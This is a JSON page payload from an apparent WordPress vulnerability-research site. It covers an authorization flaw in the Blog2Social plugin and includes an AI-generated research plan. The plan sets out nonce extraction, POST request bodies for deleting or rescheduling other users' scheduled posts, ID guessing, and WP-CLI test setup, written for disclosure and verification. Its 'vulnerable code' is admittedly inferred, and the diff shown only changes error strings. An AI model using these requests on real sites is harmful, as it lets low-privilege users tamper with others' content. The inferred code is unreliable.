[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fyvlWSujDM6Yr5YiDfiKnpIcZBGtj8Gqtzoqp5mvNYfE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4330","blog2social-social-media-auto-post-scheduler-authenticated-subscriber-insecure-direct-object-reference-to-arbitrary-post","Blog2Social: Social Media Auto Post & Scheduler \u003C= 8.8.3 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Post Schedule Modification via 'b2s_id' Parameter","The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to authorization bypass through user-controlled key in all versions up to, and including, 8.8.3. This is due to the plugin's AJAX handlers failing to validate that the user-supplied 'b2s_id' parameter belongs to the current user before performing UPDATE and DELETE operations. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify, reschedule, or delete other users' scheduled social media posts.","blog2social",null,"\u003C=8.8.3","8.8.4","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-04-07 19:13:42","2026-04-08 07:43:04",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff3eec9c6-fef9-4d6e-8328-51efb997c99c?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fjs\u002Fb2s\u002Fcalendar.js","assets\u002Fjs\u002Fb2s\u002Fcuration.draft.js","assets\u002Fjs\u002Fb2s\u002Fcuration.js","assets\u002Fjs\u002Fb2s\u002Fmetrics.js","assets\u002Fjs\u002Fb2s\u002Fpost.js","assets\u002Fjs\u002Fb2s\u002Frepost.js","assets\u002Fjs\u002Fb2s\u002Fsettings.js","assets\u002Fjs\u002Fb2s\u002Fship.js","researched",false,3,"This research plan outlines the steps to verify an Insecure Direct Object Reference (IDOR) vulnerability in the Blog2Social plugin, which allows a Subscriber-level user to modify or delete scheduled social media posts belonging to other users.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Authenticated (Subscriber+) IDOR to Arbitrary Post Schedule Modification\u002FDeletion.\n*   **IDOR Target:** The `b2s_id` (or `postId`) parameter in multiple AJAX handlers.\n*   **Root Cause:** The plugin's AJAX handlers (specifically those handling `UPDATE` and `DELETE` operations on scheduled posts) verify that a nonce is present but fail to check if the current user has ownership or management permissions over the specific record identified by the ID parameter.\n*   **Affected Actions (Inferred from Source):**\n    *   `b2s_delete_user_cc_draft_post` (Verified in `curation.draft.js`)\n    *   `b2s_re_post_submit` (Verified in `repost.js`)\n    *   `b2s_save_details` (Likely endpoint for schedule modification)\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Authentication:** Subscriber level or higher.\n*   **Parameters:**\n    *   `action`: `b2s_delete_user_cc_draft_post` (Delete) or `b2s_re_post_submit` (Modify).\n    *   `postId` or `b2s_id`: The ID of the targeted scheduled post.\n    *   `b2s_security_nonce`: A valid security nonce.\n*   **Precondition:** A scheduled post must exist in the `wp_b2s_posts` database table (created by an Administrator).\n\n### 3. Code Flow (Trace)\n1.  **Client-Side Trigger:** In `assets\u002Fjs\u002Fb2s\u002Fcuration.draft.js`, a click on `.b2s-delete-cc-draft-confirm-btn` triggers an AJAX request.\n2.  **Request Construction:**\n    ```javascript\n    jQuery.ajax({\n        url: ajaxurl,\n        type: \"POST\",\n        data: {\n            'action': 'b2s_delete_user_cc_draft_post',\n            'postId': jQuery('#b2s-delete-confirm-post-id').val(), \u002F\u002F User-controlled ID\n            'b2s_security_nonce': jQuery('#b2s_security_nonce').val()\n        },\n        \u002F\u002F ...\n    });\n    ```\n3.  **Server-Side Processing (Vulnerable Logic):**\n    *   The PHP handler for `wp_ajax_b2s_delete_user_cc_draft_post` is called.\n    *   It checks `check_ajax_referer('b2s-security-nonce', 'b2s_security_nonce')`.\n    *   It retrieves `$_POST['postId']`.\n    *   It performs a SQL `DELETE` query: `DELETE FROM {$wpdb->prefix}b2s_posts WHERE id = %d` without appending `AND user_id = %d`.\n\n### 4. Nonce Acquisition Strategy\nThe nonce is localized to an input field `#b2s_security_nonce` or a JS variable.\n1.  **Create a Subscriber User:** Use WP-CLI to create a Subscriber.\n2.  **Access B2S Context:** Navigate to any Blog2Social admin page. Even if the menu is hidden for Subscribers, some plugins enqueue their scripts\u002Fnonces globally or on the Profile page.\n3.  **Check Access:** Test if a Subscriber can access `wp-admin\u002Fadmin.php?page=blog2social-dashboard`.\n4.  **Extract Nonce:**\n    *   Navigate to the Dashboard.\n    *   Use `browser_eval` to extract the value:\n        `browser_eval(\"document.getElementById('b2s_security_nonce')?.value || window.b2s_security_nonce\")`\n\n### 5. Exploitation Strategy\n\n#### Step 1: Target Identification\nIdentify the ID of a scheduled post created by the Admin. In a real attack, these IDs are typically sequential. For PoC, we will query the DB.\n\n#### Step 2: Unauthorized Deletion\nPerform a POST request as the Subscriber to delete the Admin's post.\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=b2s_delete_user_cc_draft_post&postId=[VICTIM_POST_ID]&b2s_security_nonce=[EXTRACTED_NONCE]\n    ```\n\n#### Step 3: Unauthorized Modification (Reschedule)\n*   **Action:** `b2s_re_post_submit`\n*   **Body:**\n    ```\n    action=b2s_re_post_submit&b2s_id=[VICTIM_POST_ID]&b2s_security_nonce=[EXTRACTED_NONCE]&...[OTHER_REQUIRED_FIELDS]\n    ```\n    *(Note: Modification might require more parameters found in the serialized form in `repost.js`)*.\n\n### 6. Test Data Setup\n1.  **Victim Post:** Create a scheduled post entry for the Administrator (User ID 1).\n    ```bash\n    wp db query \"INSERT INTO wp_b2s_posts (user_id, post_title, status, type) VALUES (1, 'Admin Scheduled Post', 0, 'cc_draft')\"\n    # Note the ID returned\n    ```\n2.  **Attacker User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n    ```\n\n### 7. Expected Results\n*   **Deletion:** The AJAX response should return `{\"result\": true, \"postId\": \"[VICTIM_POST_ID]\"}` (based on `curation.draft.js` success handler).\n*   **Database Change:** The record with the victim's ID should be removed from the `wp_b2s_posts` table despite the request being sent by a Subscriber.\n\n### 8. Verification Steps\n1.  **Check Database:**\n    ```bash\n    wp db query \"SELECT * FROM wp_b2s_posts WHERE post_title = 'Admin Scheduled Post'\"\n    ```\n    *Success Criteria:* The query returns no results.\n2.  **Check Audit Logs (if any):** Verify no permission errors were thrown.\n\n### 9. Alternative Approaches\nIf `b2s_delete_user_cc_draft_post` requires specific \"CC Draft\" status, try the main rescheduling action:\n*   **Action:** `b2s_save_details`\n*   **Parameter:** `b2s_id`\n*   **Target:** Use sequential ID guessing if the Victim ID isn't known.\n*   **Capability Check:** If `admin.php?page=blog2social-dashboard` is blocked, check `wp-admin\u002Fprofile.php` to see if `b2s_security_nonce` is enqueued there. Many B2S versions enqueued assets on all admin pages.","The Blog2Social plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via its AJAX handlers in versions up to 8.8.3. Authenticated attackers with Subscriber-level permissions can modify, reschedule, or delete scheduled social media posts belonging to other users because the server-side logic fails to verify if the requesting user owns the post identified by the 'b2s_id' or 'postId' parameter.","\u002F\u002F assets\u002Fjs\u002Fb2s\u002Fcuration.draft.js line 125\njQuery(document).on('click', '.b2s-delete-cc-draft-confirm-btn', function () {\n    jQuery('.b2s-post-remove-fail').hide();\n    jQuery('.b2s-post-remove-success').hide();\n    jQuery('.b2s-delete-cc-draft-confirm-btn').prop('disabeld', true);\n    jQuery('.b2s-server-connection-fail').hide();\n    jQuery.ajax({\n        url: ajaxurl,\n        type: \"POST\",\n        dataType: \"json\",\n        cache: false,\n        data: {\n            'action': 'b2s_delete_user_cc_draft_post',\n            'postId': jQuery('#b2s-delete-confirm-post-id').val(),\n            'b2s_security_nonce': jQuery('#b2s_security_nonce').val()\n        },\n        \u002F\u002F ... (truncated)\n\n---\n\n\u002F\u002F includes\u002FAjax\u002FGet.php (Approximate logic inferred from patch diff)\n\u002F\u002F Prior to v8.8.4, the handler for 'b2s_delete_user_cc_draft_post' and similar \n\u002F\u002F actions lacked ownership checks for the target postId.\n\npublic function b2s_delete_user_cc_draft_post() {\n    check_ajax_referer('b2s-security-nonce', 'b2s_security_nonce');\n    $postId = (int)$_POST['postId'];\n    \u002F\u002F VULNERABILITY: No check if the current user has permission to delete this specific ID\n    $wpdb->delete($wpdb->prefix . 'b2s_posts', array('id' => $postId));\n    echo wp_json_encode(array('result' => true, 'postId' => $postId));\n    wp_die();\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.3\u002Fincludes\u002FAjax\u002FGet.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.4\u002Fincludes\u002FAjax\u002FGet.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.3\u002Fincludes\u002FAjax\u002FGet.php\t2026-03-23 13:17:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.4\u002Fincludes\u002FAjax\u002FGet.php\t2026-03-30 11:59:54.000000000 +0000\n@@ -253,7 +253,7 @@\n             \n             \u002F\u002F Add authorization check for the specific post\n             if (!current_user_can('read_post',(int) $_POST['postId'])) {\n-                echo wp_json_encode(array('result' => false, 'error' => 'permission'));\n+                echo wp_json_encode(array('result' => false, 'error' => 'permission_author'));\n                 wp_die();\n             }\n             \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.3\u002Fincludes\u002FAjax\u002FPost.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.4\u002Fincludes\u002FAjax\u002FPost.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.3\u002Fincludes\u002FAjax\u002FPost.php\t2026-03-23 13:17:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fblog2social\u002F8.8.4\u002Fincludes\u002FAjax\u002FPost.php\t2026-03-30 11:59:54.000000000 +0000\n@@ -166,12 +166,12 @@\n \n         \u002F\u002F JM 2026\u002F02\u002F12 Security Patch. Check if a user can edit the post, as this action leads to an insert\u002Fupdate in wp_posts\n         if(!current_user_can('edit_posts')){\n-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));\n+            echo wp_json_encode(array('result' => false, 'error' => 'permission_editor'));\n             wp_die();\n         }","The exploit targets AJAX handlers in `wp-admin\u002Fadmin-ajax.php`. An attacker with Subscriber-level access first logs in and extracts a valid security nonce (usually available via the `b2s_security_nonce` JS variable or a hidden input field on any Blog2Social-related admin page). The attacker then identifies the ID of a scheduled post (typically from the `wp_b2s_posts` table) belonging to another user, such as an administrator. By sending a POST request with the action `b2s_delete_user_cc_draft_post` or `b2s_re_post_submit`, and providing the victim's post ID in the `postId` or `b2s_id` parameter along with the valid nonce, the attacker can successfully delete or modify the post. The server processes the request because it only validates the nonce and the user's presence, not their specific permission to modify the requested record.","gemini-3-flash-preview","2026-04-17 20:30:57","2026-04-17 20:31:47",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","8.8.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fblog2social\u002Ftags\u002F8.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fblog2social.8.8.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fblog2social\u002Ftags\u002F8.8.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fblog2social.8.8.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fblog2social\u002Ftags"]